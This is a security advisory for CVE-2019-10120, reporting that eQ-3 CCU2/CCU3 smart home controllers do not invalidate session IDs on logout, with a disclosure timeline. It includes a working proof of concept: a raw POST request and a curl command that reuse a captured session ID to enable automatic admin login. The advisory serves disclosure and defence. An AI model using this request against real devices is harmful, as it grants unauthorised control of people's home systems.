OS-S Security Advisory 2019-2

Date: Feb 27, 2019
Updated: Apr 1, 2019
NDA grace period: May 28, 2019
Authors: Oguzhan Cicek, Maik Brüggemann, Ralf Spenneberg
CVE: CVE-2019-10120
Vendor Reference: `https://www.eq-3.de/Downloads/Software/HM-CCU2-Firmware_Updates/HM-CCU-2.41.9/HM-CCU2-Changelog.2.41.9.pdf`
`https://www.eq-3.de/Downloads/Software/CCU3-Firmware/CCU3-3.43.16/CCU3-Changelog.3.43.16.pdf`
Vendor Advisory:
CVSS: 10
Title: CCU3 web logout does not invalidate sessionIDs
Severity: High
Ease of Exploitation: Trivial
Vulnerability Type: Broken session handling
Vendor contacted: Feb 27, 2019
Vendor confirmation: Mar 6, 2019
Device: CCU2 and CCU3
Firmware version: 3.43.15 and older tested and confirmed

Abstract:

According to the vendor site (https://www.eq-3.com) the CCU3 smart home central control unit is a High-performance Central Control Unit for local and comfortable control of your smart home. It connects and combines the wide range of Homematic IP and Homematic via the local WebUI configuration interface. It offers numerous and individual configuration and control options using the tried-and-tested WebUI via web browser. It implements highest security with AES-128 encryption and the use of the Homematic IP and Homematic radio protocols.
The CCU3 does not fully invalidate sessionIDs upon logout of the user. If the attacker can sniff the sessionID or access the browser history, he may execute some commands on the CCU3.

Detailed description:

The CCU3 uses sessionIDs for the authentication. The CCU3 web interface offers a logout feature. The logout does invalidate the used sessionIDs for the web interface in the browser but not when directly calling some functions, like the automatic login configuration. The sessionID is overwritten and thus fully invalidated if the user logs in again. Additionally the sessionID seems to be fully invalidated after reaching an unknown timeout.

To demonstrate the attack, login to the CCU3 via the web interface as user admin. Copy the current sessionID like „@lkbCkLsLQa@“. Logout via the web interface. The usage of the copied sessionID via the web interface is prohibited.
But the sessionID can still be used in the following attack. The attack is performed using the following POST-Request:

```
POST /esp/system.htm?sid=@lkbCkLsLQa@ HTTP/1.1
Host: 192.168.44.80
Content-Length: 142
Accept: text/javascript, text/html, application/xml, text/xml, */*
X-Prototype-Version: 1.6.0.2
Origin: http://192.168.44.80
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,
like Gecko) Ubuntu Chromium/70.0.3538.77 Chrome/70.0.3538.77 Safari/537.36
Content-type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate
Accept-Language: de-DE,de;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

<prototypejs><![CDATA[string%20action%20%3D%20%27setAutoLogin%27%3Binteger
%20alPC%20%3D%201004%3Binteger%20alPDA%20%3D%200%3B]]></prototypejs>
```

This attack can be executed using the curl command:

```
curl --data '<prototypejs><![CDATA[string%20action%20%3D%20%27setAutoLogin
%27%3Binteger%20alPC%20%3D%201004%3Binteger%20alPDA%20%3D%200%3B]]></
prototypejs>' 'http://ccu3/esp/system.htm?sid=@lkbCkLsLQa@'
```

This curl request enables the automatic login feature for the user admin.